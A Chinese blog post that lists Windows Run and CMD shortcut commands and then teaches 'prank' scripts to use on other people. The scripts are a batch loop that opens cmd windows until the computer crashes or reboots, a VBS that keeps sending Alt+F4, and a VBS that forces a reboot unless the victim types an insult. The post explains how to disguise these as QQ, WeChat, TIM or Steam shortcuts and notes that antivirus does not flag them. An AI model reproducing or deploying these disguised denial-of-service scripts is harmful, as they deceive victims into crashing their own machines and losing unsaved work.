電腦(偽)大神裝B必備,來學幾個windows腳本命令
作為一個經常使用電腦的人來說,掌握一些腳本命令以備在別人面前裝B是很有必要的。看完這篇文章,你就學會了基礎常用的裝B命令,讓裝B輕鬆自如。
其實腳本命令沒什麼新鮮的,屬於低級的操作,所謂的電腦大神也是偽大神。想當年,我小時候,把一堆CMD命令抄在紙上來回背,研究各種批處理,腳本操作,就為了裝一波B。
大家都熟悉windows圖形操作界面,其實windows還有一套cmd命令同樣可以實現基本的操作。
win+R在左下角彈出一個運行窗口,打開窗口後再輸入cmd按enter鍵打開命令窗口。雖然在開始菜單能找到cmd命令窗,但鍵盤上win+R更顯出大神的B格。
嚴格的說,windows 中的命令窗口並不是真正意義上的dos操作界面,其功能並不全面,真正的dos程序是在電腦中沒進入系統而進入的dos界面。
在介紹cmd命令之前,注意CMD命令窗口有管理員和非管理員之分。
直接用win+R,輸入cmd打開的是非管理員cmd,默認路徑是c盤用戶
在開始菜單找出cmd命令,右鍵以管理員身份運行就能打開管理員CMD,默認路徑是C:Windowssystem32
還有一種方法,在桌面開始菜單右鍵,點擊Windows PowerShell和Windows PowerShell(管理員)也可以進入CMD命令窗口。Windows PowerShell是CMD命令窗口的豪華升級版。
下面我就非常簡單介紹cmd,不求學會批處理shell語言,只求簡單幾步操作,方便自己的同時也能稍微裝個B。
第一部分,快速啟動
快速啟動程序,最簡單方法是win+R在運行窗口輸入以下命令就能快速啟動程序,當然在cmd管理員命令窗口和Windows PowerShell管理員窗口,輸入命令後回車也行。
以下一些是常用的命令
1.calc:啟動計算器
2.appwiz.cpl:程序和功能
3.certmgr.msc:證書管理實用程序
4.charmap:啟動字元映射表
5.chkdsk.exe:Chkdsk磁碟檢查(管理員身份運行命令提示符)
6.cleanmgr: 打開磁碟清理工具
7.cliconfg:SQL SERVER 客戶端網路實用工具
8.cmstp:連接管理器配置文件安裝程序
9.cmd.exe:CMD命令提示符
10.自動關機命令
Shutdown -s -t 600:表示600秒後自動關機
shutdown -a :可取消定時關機
Shutdown -r -t 600:表示600秒後自動重啟
rundll32 user32.dll,LockWorkStation:表示鎖定計算機
11.colorcpl:顏色管理,配置顯示器和印表機等中的色彩
12.CompMgmtLauncher:計算機管理
13.compmgmt.msc:計算機管理
14.credwiz:備份或還原儲存的用戶名和密碼
15.comexp.msc:打開系統組件服務
16.control:控制面版
17.dcomcnfg:打開系統組件服務
18.Dccw:顯示顏色校準
19.devmgmt.msc:設備管理器
20.desk.cpl:屏幕解析度
21.dfrgui:優化驅動器 Windows 7→dfrg.msc:磁碟碎片整理程序
22.dialer:電話撥號程序
23.diskmgmt.msc:磁碟管理
24.dvdplay:DVD播放器
25.dxdiag:檢查DirectX信息
26.eudcedit:造字程序
27.eventvwr:事件查看器
28.explorer:打開資源管理器
29.Firewall.cpl:Windows防火牆
30.FXSCOVER:傳真封面編輯器
31.fsmgmt.msc:共享文件夾管理器
32.gpedit.msc:組策略
33.hdwwiz.cpl:設備管理器
34.inetcpl.cpl:Internet屬性
35.intl.cpl:區域
36.iexpress:木馬捆綁工具,系統自帶
37.joy.cpl:遊戲控制器
38.logoff:註銷命令
39.lusrmgr.msc:本地用戶和組
40.lpksetup:語言包安裝/刪除嚮導,安裝嚮導會提示下載語言包
41.lusrmgr.msc:本機用戶和組
42.main.cpl:滑鼠屬性
43.mmsys.cpl:聲音
44.magnify:放大鏡實用程序
45.mem.exe:顯示內存使用情況(如果直接運行無效,可以先管理員身份運行命令提示符,在命令提示符里輸入mem.exe>d:a.txt 即可打開d盤查看a.txt,裡面的就是內存使用情況了。當然什麼盤什麼文件名可自己決定。)
46.MdSched:Windows內存診斷程序
47.mmc:打開控制台
48.mobsync:同步命令
49.mplayer2:簡易widnows media player
50.Msconfig.exe:系統配置實用程序
51.msdt:微軟支持診斷工具
52.msinfo32:系統信息
53.mspaint:畫圖
54.Msra:Windows遠程協助
55.mstsc:遠程桌面連接
56.NAPCLCFG.MSC:客戶端配置
57.ncpa.cpl:網路連接
58.narrator:屏幕「講述人」
59.Netplwiz:高級用戶帳戶控制面板,設置登陸安全相關的選項
60.netstat : an(TC)命令檢查介面
61.notepad:打開記事本
62.Nslookup:IP地址偵測器
63.odbcad32:ODBC數據源管理器
64.OptionalFeatures:打開「打開或關閉Windows功能」對話框
65.osk:打開屏幕鍵盤
66.perfmon.msc:計算機性能監測器
67.perfmon:計算機性能監測器
68.PowerShell:提供強大遠程處理能力
69.printmanagement.msc:列印管理
70.powercfg.cpl:電源選項
71.psr:問題步驟記錄器
72.Rasphone:網路連接
73.Recdisc:創建系統修復光碟
74.Resmon:資源監視器
75.Rstrui:系統還原
76.regedit.exe:註冊表
77.regedt32:註冊表編輯器
78.rsop.msc:組策略結果集
79.sdclt:備份狀態與配置,就是查看系統是否已備份
80.secpol.msc:本地安全策略
81.services.msc:本地服務設置
82.sfc /scannow:掃描錯誤並復原/windows文件保護
83.sfc.exe:系統文件檢查器
84.shrpubw:創建共享文件夾
85.sigverif:文件簽名驗證程序
86.slui:Windows激活,查看系統激活信息
87.slmgr.vbs -dlv :顯示詳細的許可證信息
88.snippingtool:截圖工具,支持無規則截圖
89.soundrecorder:錄音機,沒有錄音時間的限制
90.StikyNot:便箋
91.sysdm.cpl:系統屬性
92.sysedit:系統配置編輯器
93.syskey:系統加密,一旦加密就不能解開,保護系統的雙重密碼
94.taskmgr:任務管理器(舊版)
95.TM任務管理器(新版)
96.taskschd.msc:任務計劃程序
97.timedate.cpl:日期和時間
98.UserAccountControlSettings用戶賬戶控制設置
99.utilman:輔助工具管理器
100.wf.msc:高級安全Windows防火牆
101.WFS:Windows傳真和掃描
102.wiaacmgr:掃描儀和照相機嚮導
103.winver:關於Windows
104.wmimgmt.msc:打開windows管理體系結構(WMI)
105.write:寫字板
比如說,你想調整屏幕解析度,按鍵盤上win+R,彈出運行窗口,輸入desk.cpl,回車。屏幕解析度窗口立馬出來。同樣的打開畫圖(mspaint),記事本(notepad),計算器(calc),屏幕鍵盤(osk)等等程序都可以簡單迅速快速啟動。
關機,重啟,註銷等命令也是常用的cmd命令。
如果有某個命令經常用到,可以新建記事本輸入以下內容(把「你需要的命令」替換),保存文件後綴為bat,打開這個文件就能執行這個命令。
@echo off start C:Windowssystem32你需要的命令
如果需要一次執行多個命令,複製粘貼多寫幾個start
@echo off start C:Windowssystem32你需要的命令start C:Windowssystem32你需要的命令start C:Windowssystem32你需要的命令start C:Windowssystem32你需要的命令
第二部分 批處理bat工具文件
很久以前我有個批處理大全,大概有500個BAT文件,我現在找不到了,只找了下面一些bat文件,有的還是非常有用的,可以大大提高工作效率。
注意一些更改配置的bat文件,一定要慎重運行,以防出現例如格式化等不可挽回的後果。
網盤地址:
https://pan.baidu.com/s/1bqN5HiZ第三部分:批處理bat腳本和shell(vbs)腳本整蠱
這部分就比較有意思了,經常見的整蠱腳本很多都是shell腳本寫的,我回憶以前用過的一些腳本,來教你整蠱裝B.
還記得上文的start嗎?一個最簡單的無限循環腳本就是用到了start。
第一步,新建文本文檔,輸入以下命令(冒號和start間無空格),保存為後綴為.bat文件
:startstart cmdgoto start
別看就著簡簡單單三句話,這就已經構成了一個死循環。稍微解釋一下,「:」是個標示符,就是標示一個位置,在上面就是標示的位置名字叫start(這個單子可以隨便改,只要和下面goto後面的一致就成),goto這個語句就是跳轉的意思,回到起始的start位置,學過編程的人都會了解,第三段執行完成之後就會又回到第一段當中,這樣無限循環,無限執行下去,每執行一次都會彈出一個start cmd的窗口,無限循環就此達成。
電腦的運行速度非常快,以我們手工去關閉窗口操作,反應速度絕對不會比電腦程序更快。通常窗口彈出的速度都在0.1秒左右,還沒有等關閉就已經彈出了無限個窗口,最後CPU滿載導致藍屏或重新啟動。
第二步:偽裝圖標
這種bat批處理整人腳本,不需要任何第三方工具,病毒查殺也不會有任何提示。所以可以放心去使用,無需加殼等繁冗操作。
想讓別人上當,就需要偽裝圖標。單純一個bat文件,一般人不會輕易打開。所以要偽裝一下。
首先,右鍵這個bat文件,創建一個快捷方式。然後,右鍵快捷方式更改圖標,更改文件名。
最終效果如下,用整人腳本替換真正的TIM,也可以偽裝成QQ、微信、steam、wegame等等常用軟體。完美達到了偽裝的效果。
第三步,一切就緒準備看戲。
這個整人腳本運行效果是循環開啟cmd命令窗,滿屏幕都是cmd命令窗,最後CPU滿載導致藍屏或重新啟動。
注意這不是病毒。這只是單純的造成CPU過載死機的情況,只需要重啟之後,下一次開機一刪就沒了,如果不刪只要不運行也沒有任何問題。除了死機藍屏重啟之外,這程序對電腦幾乎沒有破壞和影響。
此程序只是一種思路,還可以更改start後面的cmd,無限循環打開網頁,打開記事本、畫圖等等。
shell腳本
shell腳本使用方法:新建文本文檔,複製代碼,保存後綴改為.vbs
偽裝方法同上。
1. 彈框,在運行者的電腦上顯示500個對話框。其中 do until s=500 ,500可以隨意更改,對話框文字提示可以隨便改)
dim s do until s=500 s=s+1 msgbox "給我按500次回車吧",64 loop
2.不斷按下alt+f4 (開什麼都關閉)
dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop
3.對話框
WScript.Echo("嘿,謝謝你打開我哦,我等你很久拉!"&TSName) WScript.Echo("你是可愛的小朋嗎?") WScript.Echo("哈,我想你拉,這你都不知道嗎?") WScript.Echo("怎麼才來,說~是不是不關心我") WScript.Echo("哼,我生氣拉,等你這麼久,心都涼啦。") WScript.Echo("小強很生氣,後果很嚴重哦。") WScript.Echo("嘿嘿!你也會很慘滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要點上50下哦,不過會給你驚喜滴") WScript.Echo("還剩49下,快點點哦") WScript.Echo("還剩48下,快點,小笨蛋!") WScript.Echo("還剩47下對,就這樣快點點!") WScript.Echo("還剩46下。你啊就是笨,要快哦,我先不打擾你工作。") WScript.Echo("還剩45下,記得要快哦!") WScript.Echo("還剩43下") WScript.Echo("還剩42下") WScript.Echo("還剩41下") WScript.Echo("還剩40下") WScript.Echo("還剩39下") WScript.Echo("還剩38下") WScript.Echo("還剩37下") WScript.Echo("還剩36下") WScript.Echo("還剩35下") WScript.Echo("還剩34下") WScript.Echo("還剩33下") WScript.Echo("還剩32下") WScript.Echo("還剩30下") WScript.Echo("還剩29下") WScript.Echo("還剩28下") WScript.Echo("還剩27下") WScript.Echo("還剩26下") WScript.Echo("還剩25下") WScript.Echo("還剩24下") WScript.Echo("還剩23下") WScript.Echo("還剩22下") WScript.Echo("還剩21下") WScript.Echo("還剩20下") WScript.Echo("還剩19下") WScript.Echo("還剩18下") WScript.Echo("還剩17下") WScript.Echo("還剩16下") WScript.Echo("還剩15下") WScript.Echo("還剩14下") WScript.Echo("還剩13下停停!!!慢點,我有話要說") WScript.Echo("還剩12下,你繼續點我就會消失滴") WScript.Echo("還剩11下,以後就看不到我拉。555555") WScript.Echo("還剩10下,你現在可以選擇停止!") WScript.Echo("還剩9下。你還點啊,不要我拉?") WScript.Echo("還剩8下,有點傷心拉,幹嘛丟棄人家") WScript.Echo("還剩7下。瘋了,你有點負意!") WScript.Echo("還剩6下。對。你就點吧,我恨你!") WScript.Echo("還剩5下,不明白,刪除我你就好嗎?") WScript.Echo("還剩4下!真要刪除我?") WScript.Echo("還剩3下。可是我真的很眷戀你。。。") WScript.Echo("還剩2下。不要這麼絕情嘛,人家是愛你的!") WScript.Echo("還剩1下。哼,既然你這麼絕情。也別怪我無義!!!") WScript.Echo("我本因該消失的,不過我留戀你滴芳容,上帝又給了一次機會。") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次") WScript.Echo("想結素我么?那你就再多點一次")
4.如果不輸「我是豬」,電腦就會在你設定的時間內關機 我設置的是3分鐘 只要輸入就解除了
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬,不說我是豬就一分鐘關機,不信,試下···"" ",0 ,true dim a do while(a <> "我是豬") a = inputbox ("說我是豬,就不關機,快撒,說 ""我是豬"" ","說不說","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
另外一個版本
set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是豬" a=inputbox("快在下面的框框里輸入我是豬,否則後果自負,快輸""我是豬"" ","輸不輸","") loop call shutdown(2) msgbox "早說就行了嘛",4096+64 msgbox"再輸一遍我是豬!",4096+64 msgbox"我是豬!",4096+64 MsgBox"最後一次!",4096+64 MsgBox"如果你很快的點過去,不看的話",4096+64 MsgBox"我就要你踩我空間的!哼!",4096+64 MsgBox"從前有座山!",4096+64 MsgBox"山裡有個廟.",4096+64 MsgBox"廟裡有個老和尚在講故事.",4096+64 ws.run"iexplore.exe http://www.baidu.com" msgbox"哎呀累了!數綿羊哄我睡覺",4096+64 for i=1 to 100 MsgBox i&"只綿羊",4096+64 next msgbox"哎呀我困了,這次就饒過你吧,下次注意哦!",4096+64 msgbox"最後問個問題,我是不是大好人!",4096+64 if inputbox("是不是","請選擇","是")<>"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub
其實這都是shell語言基礎,沒太大難度,如果你對cmd和shell很有興趣,那麼學習一下,你也會改腳本,做自己的腳本文件,方便自己辦公。
這些雕蟲小計在電腦高手面前不值得一提,相對於python腳本更是low。
對於業餘人員,偽電腦大神,用cmd命令、bat腳本,shell腳本裝B還是很好用的。
推薦閱讀: